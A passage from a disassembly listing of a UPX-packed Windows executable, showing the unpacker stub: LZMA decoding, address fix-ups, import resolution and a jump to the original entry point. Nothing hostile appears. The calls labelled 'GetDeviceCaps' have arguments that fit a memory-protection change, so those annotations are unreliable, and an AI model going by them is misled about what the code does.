and eax, [esp+68h]
mov ebp, [esp+78h]
shl eax, cl
mov ecx, 8
sub ecx, [esp+64h]
sar edx, cl
add eax, edx
imul eax, 600h
cmp dword ptr [esp+60h], 6
lea eax, [ebp+eax+0E6Ch]
mov [esp+14h], eax
jle loc_470127
mov eax, [esp+74h]
sub eax, [esp+5Ch]
mov edx, [esp+0A0h]
movzx eax, byte ptr [edx+eax]
mov [esp+40h], eax
loc_470074: ; CODE XREF: UPX1:00470117j
shl dword ptr [esp+40h], 1
mov ecx, [esp+40h]
lea edx, [esi+esi]
mov ebp, [esp+14h]
and ecx, 100h
cmp dword ptr [esp+48h], 0FFFFFFh
lea eax, [ebp+ecx*2+0]
mov [esp+3Ch], ecx
lea ebp, [eax+edx]
ja short loc_4700B6
cmp ebx, [esp+4Ch]
jz loc_470908
shl dword ptr [esp+48h], 8
movzx eax, byte ptr [ebx]
shl edi, 8
inc ebx
or edi, eax
loc_4700B6: ; CODE XREF: UPX1:0047009Cj
mov eax, [esp+48h]
mov cx, [ebp+200h]
shr eax, 0Bh
movzx esi, cx
imul eax, esi
cmp edi, eax
jnb short loc_4700F1
mov [esp+48h], eax
mov eax, 800h
sub eax, esi
mov esi, edx
sar eax, 5
cmp dword ptr [esp+3Ch], 0
lea eax, [ecx+eax]
mov [ebp+200h], ax
jz short loc_470111
jmp short loc_47011F
; ---------------------------------------------------------------------------
loc_4700F1: ; CODE XREF: UPX1:004700CCj
sub [esp+48h], eax
sub edi, eax
mov eax, ecx
lea esi, [edx+1]
shr ax, 5
sub cx, ax
cmp dword ptr [esp+3Ch], 0
mov [ebp+200h], cx
jz short loc_47011F
loc_470111: ; CODE XREF: UPX1:004700EDj
cmp esi, 0FFh
jle loc_470074
jmp short loc_470198
; ---------------------------------------------------------------------------
loc_47011F: ; CODE XREF: UPX1:004700EFj
; UPX1:0047010Fj ...
cmp esi, 0FFh
jg short loc_470198
loc_470127: ; CODE XREF: UPX1:00470057j
lea edx, [esi+esi]
mov ebp, [esp+14h]
add ebp, edx
cmp dword ptr [esp+48h], 0FFFFFFh
ja short loc_470152
cmp ebx, [esp+4Ch]
jz loc_470908
shl dword ptr [esp+48h], 8
movzx eax, byte ptr [ebx]
shl edi, 8
inc ebx
or edi, eax
loc_470152: ; CODE XREF: UPX1:00470138j
mov eax, [esp+48h]
mov cx, [ebp+0]
shr eax, 0Bh
movzx esi, cx
imul eax, esi
cmp edi, eax
jnb short loc_470180
mov [esp+48h], eax
mov eax, 800h
sub eax, esi
mov esi, edx
sar eax, 5
lea eax, [ecx+eax]
mov [ebp+0], ax
jmp short loc_47011F
; ---------------------------------------------------------------------------
loc_470180: ; CODE XREF: UPX1:00470165j
sub [esp+48h], eax
sub edi, eax
mov eax, ecx
lea esi, [edx+1]
shr ax, 5
sub cx, ax
mov [ebp+0], cx
jmp short loc_47011F
; ---------------------------------------------------------------------------
loc_470198: ; CODE XREF: UPX1:0047011Dj
; UPX1:00470125j
mov edx, [esp+74h]
mov eax, esi
mov ecx, [esp+0A0h]
mov [esp+73h], al
mov [edx+ecx], al
inc edx
cmp dword ptr [esp+60h], 3
mov [esp+74h], edx
jg short loc_4701C5
mov dword ptr [esp+60h], 0
jmp loc_4708E0
; ---------------------------------------------------------------------------
loc_4701C5: ; CODE XREF: UPX1:004701B6j
cmp dword ptr [esp+60h], 9
jg short loc_4701D6
sub dword ptr [esp+60h], 3
jmp loc_4708E0
; ---------------------------------------------------------------------------
loc_4701D6: ; CODE XREF: UPX1:004701CAj
sub dword ptr [esp+60h], 6
jmp loc_4708E0
; ---------------------------------------------------------------------------
loc_4701E0: ; CODE XREF: UPX1:0046FFFDj
mov ecx, [esp+48h]
sub edi, eax
mov esi, [esp+60h]
sub ecx, eax
mov eax, edx
shr ax, 5
sub dx, ax
cmp ecx, 0FFFFFFh
mov [ebp+0], dx
mov ebp, [esp+78h]
lea esi, [ebp+esi*2+0]
mov [esp+38h], esi
ja short loc_470223
cmp ebx, [esp+4Ch]
jz loc_470908
movzx eax, byte ptr [ebx]
shl edi, 8
shl ecx, 8
inc ebx
or edi, eax
loc_470223: ; CODE XREF: UPX1:0047020Bj
mov ebp, [esp+38h]
mov eax, ecx
shr eax, 0Bh
mov dx, [ebp+180h]
movzx ebp, dx
imul eax, ebp
cmp edi, eax
jnb short loc_47028F
mov esi, eax
mov eax, 800h
sub eax, ebp
mov ebp, [esp+58h]
sar eax, 5
mov ecx, [esp+54h]
lea eax, [edx+eax]
mov edx, [esp+38h]
mov [esp+50h], ecx
mov ecx, [esp+78h]
mov [edx+180h], ax
mov eax, [esp+5Ch]
mov [esp+54h], ebp
mov [esp+58h], eax
xor eax, eax
cmp dword ptr [esp+60h], 6
setnle al
add ecx, 664h
lea eax, [eax+eax*2]
mov [esp+60h], eax
jmp loc_470503
; ---------------------------------------------------------------------------
loc_47028F: ; CODE XREF: UPX1:0047023Bj
mov esi, ecx
sub edi, eax
sub esi, eax
mov eax, edx
shr ax, 5
mov ecx, [esp+38h]
sub dx, ax
cmp esi, 0FFFFFFh
mov [ecx+180h], dx
ja short loc_4702C7
cmp ebx, [esp+4Ch]
jz loc_470908
movzx eax, byte ptr [ebx]
shl edi, 8
shl esi, 8
inc ebx
or edi, eax
loc_4702C7: ; CODE XREF: UPX1:004702AFj
mov ebp, [esp+38h]
mov edx, esi
shr edx, 0Bh
mov cx, [ebp+198h]
movzx eax, cx
imul edx, eax
cmp edi, edx
jnb loc_4703C8
mov ebp, 800h
mov esi, edx
sub ebp, eax
mov dword ptr [esp+34h], 800h
mov eax, ebp
sar eax, 5
lea eax, [ecx+eax]
mov ecx, [esp+38h]
mov [ecx+198h], ax
mov eax, [esp+60h]
mov ecx, [esp+44h]
shl eax, 5
add eax, [esp+78h]
cmp edx, 0FFFFFFh
lea ebp, [eax+ecx*2]
ja short loc_470339
cmp ebx, [esp+4Ch]
jz loc_470908
movzx eax, byte ptr [ebx]
shl edi, 8
shl esi, 8
inc ebx
or edi, eax
loc_470339: ; CODE XREF: UPX1:00470321j
mov dx, [ebp+1E0h]
mov eax, esi
shr eax, 0Bh
movzx ecx, dx
imul eax, ecx
cmp edi, eax
jnb short loc_4703AF
sub [esp+34h], ecx
sar dword ptr [esp+34h], 5
mov esi, [esp+34h]
mov [esp+48h], eax
cmp dword ptr [esp+74h], 0
lea eax, [edx+esi]
mov [ebp+1E0h], ax
jz loc_470908
xor eax, eax
cmp dword ptr [esp+60h], 6
mov ebp, [esp+0A0h]
mov edx, [esp+74h]
setnle al
lea eax, [eax+eax+9]
mov [esp+60h], eax
mov eax, [esp+74h]
sub eax, [esp+5Ch]
mov al, [ebp+eax+0]
mov [esp+73h], al
mov [edx+ebp], al
inc edx
mov [esp+74h], edx
jmp loc_4708E0
; ---------------------------------------------------------------------------
loc_4703AF: ; CODE XREF: UPX1:0047034Dj
sub esi, eax
sub edi, eax
mov eax, edx
shr ax, 5
sub dx, ax
mov [ebp+1E0h], dx
jmp loc_4704E7
; ---------------------------------------------------------------------------
loc_4703C8: ; CODE XREF: UPX1:004702DFj
mov eax, ecx
sub esi, edx
shr ax, 5
mov ebp, [esp+38h]
sub cx, ax
sub edi, edx
cmp esi, 0FFFFFFh
mov [ebp+198h], cx
ja short loc_4703FE
cmp ebx, [esp+4Ch]
jz loc_470908
movzx eax, byte ptr [ebx]
shl edi, 8
shl esi, 8
inc ebx
or edi, eax
loc_4703FE: ; CODE XREF: UPX1:004703E6j
mov ecx, [esp+38h]
mov eax, esi
shr eax, 0Bh
mov dx, [ecx+1B0h]
movzx ecx, dx
imul eax, ecx
cmp edi, eax
jnb short loc_47043B
mov esi, eax
mov eax, 800h
sub eax, ecx
mov ebp, [esp+38h]
sar eax, 5
lea eax, [edx+eax]
mov [ebp+1B0h], ax
mov eax, [esp+58h]
jmp loc_4704DB
; ---------------------------------------------------------------------------
loc_47043B: ; CODE XREF: UPX1:00470416j
mov ecx, esi
sub edi, eax
sub ecx, eax
mov eax, edx
shr ax, 5
sub dx, ax
mov eax, [esp+38h]
cmp ecx, 0FFFFFFh
mov [eax+1B0h], dx
ja short loc_470473
cmp ebx, [esp+4Ch]
jz loc_470908
movzx eax, byte ptr [ebx]
shl edi, 8
shl ecx, 8
inc ebx
or edi, eax
loc_470473: ; CODE XREF: UPX1:0047045Bj
mov esi, [esp+38h]
mov eax, ecx
shr eax, 0Bh
mov dx, [esi+1C8h]
movzx ebp, dx
imul eax, ebp
cmp edi, eax
jnb short loc_4704AD
mov esi, eax
mov eax, 800h
sub eax, ebp
mov ebp, [esp+38h]
sar eax, 5
lea eax, [edx+eax]
mov [ebp+1C8h], ax
mov eax, [esp+54h]
jmp short loc_4704D3
; ---------------------------------------------------------------------------
loc_4704AD: ; CODE XREF: UPX1:0047048Bj
mov esi, ecx
sub edi, eax
sub esi, eax
mov eax, edx
shr ax, 5
sub dx, ax
mov eax, [esp+38h]
mov [eax+1C8h], dx
mov edx, [esp+54h]
mov eax, [esp+50h]
mov [esp+50h], edx
loc_4704D3: ; CODE XREF: UPX1:004704ABj
mov ecx, [esp+58h]
mov [esp+54h], ecx
loc_4704DB: ; CODE XREF: UPX1:00470436j
mov ebp, [esp+5Ch]
mov [esp+5Ch], eax
mov [esp+58h], ebp
loc_4704E7: ; CODE XREF: UPX1:004703C3j
xor eax, eax
cmp dword ptr [esp+60h], 6
mov ecx, [esp+78h]
setnle al
add ecx, 0A68h
lea eax, [eax+eax*2+8]
mov [esp+60h], eax
loc_470503: ; CODE XREF: UPX1:0047028Aj
cmp esi, 0FFFFFFh
ja short loc_470521
cmp ebx, [esp+4Ch]
jz loc_470908
movzx eax, byte ptr [ebx]
shl edi, 8
shl esi, 8
inc ebx
or edi, eax
loc_470521: ; CODE XREF: UPX1:00470509j
mov dx, [ecx]
mov eax, esi
shr eax, 0Bh
movzx ebp, dx
imul eax, ebp
cmp edi, eax
jnb short loc_470562
mov [esp+48h], eax
mov eax, 800h
sub eax, ebp
shl dword ptr [esp+44h], 4
sar eax, 5
mov dword ptr [esp+2Ch], 0
lea eax, [edx+eax]
mov [ecx], ax
mov eax, [esp+44h]
lea ecx, [ecx+eax+4]
mov [esp+10h], ecx
jmp short loc_4705D4
; ---------------------------------------------------------------------------
loc_470562: ; CODE XREF: UPX1:00470531j
sub esi, eax
sub edi, eax
mov eax, edx
shr ax, 5
sub dx, ax
cmp esi, 0FFFFFFh
mov [ecx], dx
ja short loc_470590
cmp ebx, [esp+4Ch]
jz loc_470908
movzx eax, byte ptr [ebx]
shl edi, 8
shl esi, 8
inc ebx
or edi, eax
loc_470590: ; CODE XREF: UPX1:00470578j
mov dx, [ecx+2]
mov eax, esi
shr eax, 0Bh
movzx ebp, dx
imul eax, ebp
cmp edi, eax
jnb short loc_4705DE
mov [esp+48h], eax
mov eax, 800h
sub eax, ebp
shl dword ptr [esp+44h], 4
sar eax, 5
mov dword ptr [esp+2Ch], 8
lea eax, [edx+eax]
mov edx, [esp+44h]
mov [ecx+2], ax
lea ecx, [ecx+edx+104h]
mov [esp+10h], ecx
loc_4705D4: ; CODE XREF: UPX1:00470560j
mov dword ptr [esp+30h], 3
jmp short loc_47060D
; ---------------------------------------------------------------------------
loc_4705DE: ; CODE XREF: UPX1:004705A1j
sub esi, eax
sub edi, eax
mov eax, edx
mov [esp+48h], esi
shr ax, 5
mov dword ptr [esp+2Ch], 10h
sub dx, ax
mov dword ptr [esp+30h], 8
mov [ecx+2], dx
add ecx, 204h
mov [esp+10h], ecx
loc_47060D: ; CODE XREF: UPX1:004705DCj
mov ecx, [esp+30h]
mov edx, 1
mov [esp+28h], ecx
loc_47061A: ; CODE XREF: UPX1:0047068Fj
lea ebp, [edx+edx]
mov esi, [esp+10h]
add esi, ebp
cmp dword ptr [esp+48h], 0FFFFFFh
ja short loc_470645
cmp ebx, [esp+4Ch]
jz loc_470908
shl dword ptr [esp+48h], 8
movzx eax, byte ptr [ebx]
shl edi, 8
inc ebx
or edi, eax
loc_470645: ; CODE XREF: UPX1:0047062Bj
mov eax, [esp+48h]
mov dx, [esi]
shr eax, 0Bh
movzx ecx, dx
imul eax, ecx
cmp edi, eax
jnb short loc_470671
mov [esp+48h], eax
mov eax, 800h
sub eax, ecx
sar eax, 5
lea eax, [edx+eax]
mov edx, ebp
mov [esi], ax
jmp short loc_470686
; ---------------------------------------------------------------------------
loc_470671: ; CODE XREF: UPX1:00470657j
sub [esp+48h], eax
sub edi, eax
mov eax, edx
shr ax, 5
sub dx, ax
mov [esi], dx
lea edx, [ebp+1]
loc_470686: ; CODE XREF: UPX1:0047066Fj
mov esi, [esp+28h]
dec esi
mov [esp+28h], esi
jnz short loc_47061A
mov cl, [esp+30h]
mov eax, 1
shl eax, cl
sub edx, eax
add edx, [esp+2Ch]
cmp dword ptr [esp+60h], 3
mov [esp+0Ch], edx
jg loc_470898
add dword ptr [esp+60h], 7
cmp edx, 3
mov eax, edx
jle short loc_4706C2
mov eax, 3
loc_4706C2: ; CODE XREF: UPX1:004706BBj
mov esi, [esp+78h]
shl eax, 7
mov dword ptr [esp+24h], 6
lea eax, [esi+eax+360h]
mov [esp+8], eax
mov eax, 1
loc_4706E1: ; CODE XREF: UPX1:00470756j
lea ebp, [eax+eax]
mov esi, [esp+8]
add esi, ebp
cmp dword ptr [esp+48h], 0FFFFFFh
ja short loc_47070C
cmp ebx, [esp+4Ch]
jz loc_470908
shl dword ptr [esp+48h], 8
movzx eax, byte ptr [ebx]
shl edi, 8
inc ebx
or edi, eax
loc_47070C: ; CODE XREF: UPX1:004706F2j
mov eax, [esp+48h]
mov dx, [esi]
shr eax, 0Bh
movzx ecx, dx
imul eax, ecx
cmp edi, eax
jnb short loc_470738
mov [esp+48h], eax
mov eax, 800h
sub eax, ecx
sar eax, 5
lea eax, [edx+eax]
mov [esi], ax
mov eax, ebp
jmp short loc_47074D
; ---------------------------------------------------------------------------
loc_470738: ; CODE XREF: UPX1:0047071Ej
sub [esp+48h], eax
sub edi, eax
mov eax, edx
shr ax, 5
sub dx, ax
lea eax, [ebp+1]
mov [esi], dx
loc_47074D: ; CODE XREF: UPX1:00470736j
mov ebp, [esp+24h]
dec ebp
mov [esp+24h], ebp
jnz short loc_4706E1
lea edx, [eax-40h]
cmp edx, 3
mov [esp], edx
jle loc_47088E
mov eax, edx
mov esi, edx
sar eax, 1
and esi, 1
lea ecx, [eax-1]
or esi, 2
cmp edx, 0Dh
mov [esp+20h], ecx
jg short loc_47079B
mov ebp, [esp+78h]
shl esi, cl
add edx, edx
mov [esp], esi
lea eax, [ebp+esi*2+0]
sub eax, edx
add eax, 55Eh
mov [esp+4], eax
jmp short loc_4707F1
; ---------------------------------------------------------------------------
loc_47079B: ; CODE XREF: UPX1:0047077Dj
lea edx, [eax-5]
loc_47079E: ; CODE XREF: UPX1:004707D4j
cmp dword ptr [esp+48h], 0FFFFFFh
ja short loc_4707C0
cmp ebx, [esp+4Ch]
jz loc_470908
shl dword ptr [esp+48h], 8
movzx eax, byte ptr [ebx]
shl edi, 8
inc ebx
or edi, eax
loc_4707C0: ; CODE XREF: UPX1:004707A6j
shr dword ptr [esp+48h], 1
add esi, esi
cmp edi, [esp+48h]
jb short loc_4707D3
sub edi, [esp+48h]
or esi, 1
loc_4707D3: ; CODE XREF: UPX1:004707CAj
dec edx
jnz short loc_47079E
mov eax, [esp+78h]
shl esi, 4
mov [esp], esi
add eax, 644h
mov dword ptr [esp+20h], 4
mov [esp+4], eax
loc_4707F1: ; CODE XREF: UPX1:00470799j
mov dword ptr [esp+1Ch], 1
mov eax, 1
loc_4707FE: ; CODE XREF: UPX1:00470888j
mov ebp, [esp+4]
add eax, eax
mov [esp+18h], eax
add ebp, eax
cmp dword ptr [esp+48h], 0FFFFFFh
ja short loc_47082C
cmp ebx, [esp+4Ch]
jz loc_470908
shl dword ptr [esp+48h], 8
movzx eax, byte ptr [ebx]
shl edi, 8
inc ebx
or edi, eax
loc_47082C: ; CODE XREF: UPX1:00470812j
mov eax, [esp+48h]
mov dx, [ebp+0]
shr eax, 0Bh
movzx esi, dx
imul eax, esi
cmp edi, eax
jnb short loc_47085C
mov [esp+48h], eax
mov eax, 800h
sub eax, esi
sar eax, 5
lea eax, [edx+eax]
mov [ebp+0], ax
mov eax, [esp+18h]
jmp short loc_47087B
; ---------------------------------------------------------------------------
loc_47085C: ; CODE XREF: UPX1:0047083Fj
sub [esp+48h], eax
sub edi, eax
mov eax, edx
shr ax, 5
sub dx, ax
mov eax, [esp+18h]
mov [ebp+0], dx
mov edx, [esp+1Ch]
inc eax
or [esp], edx
loc_47087B: ; CODE XREF: UPX1:0047085Aj
mov ecx, [esp+20h]
shl dword ptr [esp+1Ch], 1
dec ecx
mov [esp+20h], ecx
jnz loc_4707FE
loc_47088E: ; CODE XREF: UPX1:00470761j
mov esi, [esp]
inc esi
mov [esp+5Ch], esi
jz short loc_4708F1
loc_470898: ; CODE XREF: UPX1:004706ABj
mov ecx, [esp+0Ch]
mov ebp, [esp+74h]
add ecx, 2
cmp [esp+5Ch], ebp
ja short loc_470908
mov eax, [esp+0A0h]
mov edx, ebp
sub eax, [esp+5Ch]
add edx, [esp+0A0h]
lea esi, [eax+ebp]
loc_4708C0: ; CODE XREF: UPX1:004708DCj
mov al, [esi]
inc esi
mov [esp+73h], al
mov [edx], al
inc edx
inc dword ptr [esp+74h]
dec ecx
jz short loc_4708E0
mov ebp, [esp+0A4h]
cmp [esp+74h], ebp
jb short loc_4708C0
jmp short loc_4708F1
; ---------------------------------------------------------------------------
loc_4708E0: ; CODE XREF: UPX1:004701C0j
; UPX1:004701D1j ...
mov eax, [esp+0A4h]
cmp [esp+74h], eax
jb loc_46FFAC
loc_4708F1: ; CODE XREF: UPX1:00470896j
; UPX1:004708DEj
cmp dword ptr [esp+48h], 0FFFFFFh
ja short loc_470910
cmp ebx, [esp+4Ch]
mov eax, 1
jz short loc_47092F
jmp short loc_47090F
; ---------------------------------------------------------------------------
loc_470908: ; CODE XREF: UPX1:0046FF86j
; UPX1:0046FFD6j ...
mov eax, 1
jmp short loc_47092F
; ---------------------------------------------------------------------------
loc_47090F: ; CODE XREF: UPX1:00470906j
inc ebx
loc_470910: ; CODE XREF: UPX1:0046FFA6j
; UPX1:004708F9j
sub ebx, [esp+94h]
xor eax, eax
mov edx, [esp+9Ch]
mov ecx, [esp+74h]
mov [edx], ebx
mov ebx, [esp+0A8h]
mov [ebx], ecx
loc_47092F: ; CODE XREF: UPX1:00470904j
; UPX1:0047090Dj
add esp, 7Ch
pop ebx
pop esi
pop edi
pop ebp
add esi, [ebx-4]
add edi, [ebx-8]
xor eax, eax
lea ecx, [esp-100h]
mov esp, ebp
loc_470947: ; CODE XREF: UPX1:0047094Aj
push eax
cmp esp, ecx
jnz short loc_470947
mov esp, ebp
xor ecx, ecx
pop esi
mov edi, esi
mov ecx, 1BA00h
jmp short loc_47098C
; ---------------------------------------------------------------------------
loc_47095A: ; CODE XREF: UPX1:00470999j
mov al, [edi]
add edi, 1
cmp al, 80h
jb short loc_47096D
cmp al, 8Fh
ja short loc_47096D
cmp byte ptr [edi-2], 0Fh
jz short loc_470973
loc_47096D: ; CODE XREF: UPX1:00470961j
; UPX1:00470965j ...
sub al, 0E8h
cmp al, 1
ja short loc_470996
loc_470973: ; CODE XREF: UPX1:0047096Bj
cmp byte ptr [edi], 11h
jnz short loc_470996
mov eax, [edi]
shr ax, 8
rol eax, 10h
xchg al, ah
sub eax, edi
add eax, esi
mov [edi], eax
add edi, 4
loc_47098C: ; CODE XREF: UPX1:00470958j
sub ecx, 4
mov al, [edi]
add edi, 1
loop loc_47096D
loc_470996: ; CODE XREF: UPX1:00470971j
; UPX1:00470976j
sub ecx, 1
jg short loc_47095A
lea edi, [esi+6C000h]
loc_4709A1: ; CODE XREF: UPX1:004709C3j
mov eax, [edi]
or eax, eax
jz short loc_4709EC
mov ebx, [edi+4]
lea eax, [eax+esi+71074h]
add ebx, esi
push eax
add edi, 8
call dword ptr [esi+71150h]
xchg eax, ebp
loc_4709BE: ; CODE XREF: UPX1:004709E4j
mov al, [edi]
inc edi
or al, al
jz short loc_4709A1
mov ecx, edi
jns short near ptr loc_4709CF+1
movzx eax, word ptr [edi]
inc edi
push eax
inc edi
loc_4709CF: ; CODE XREF: UPX1:004709C7j
mov ecx, 0AEF24857h
push ebp
call dword ptr [esi+71154h]
or eax, eax
jz short loc_4709E6
mov [ebx], eax
add ebx, 4
jmp short loc_4709BE
; ---------------------------------------------------------------------------
loc_4709E6: ; CODE XREF: UPX1:004709DDj
call dword ptr [esi+71164h]
loc_4709EC: ; CODE XREF: UPX1:004709A5j
mov ebp, [esi+71158h]
lea edi, [esi-1000h]
mov ebx, 1000h
push eax
push esp
push 4
push ebx
push edi
call ebp ; GetDeviceCaps
lea eax, [edi+21Fh]
and byte ptr [eax], 7Fh
and byte ptr [eax+28h], 7Fh
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp ; GetDeviceCaps
pop eax
popa
lea eax, [esp-80h]
loc_470A20: ; CODE XREF: UPX1:00470A24j
push 0
cmp esp, eax
jnz short loc_470A20
sub esp, 0FFFFFF80h
jmp loc_40BD35
; ---------------------------------------------------------------------------
align 10h
dd 48h, 0Eh dup(0)
dd offset dword_42A034
dd offset dword_4266B0
dd 3Ah, 162h dup(0)
UPX1 ends
; Section 4. (virtual address 00073000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00073000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 473000h
align 2000h
_idata2 ends
end start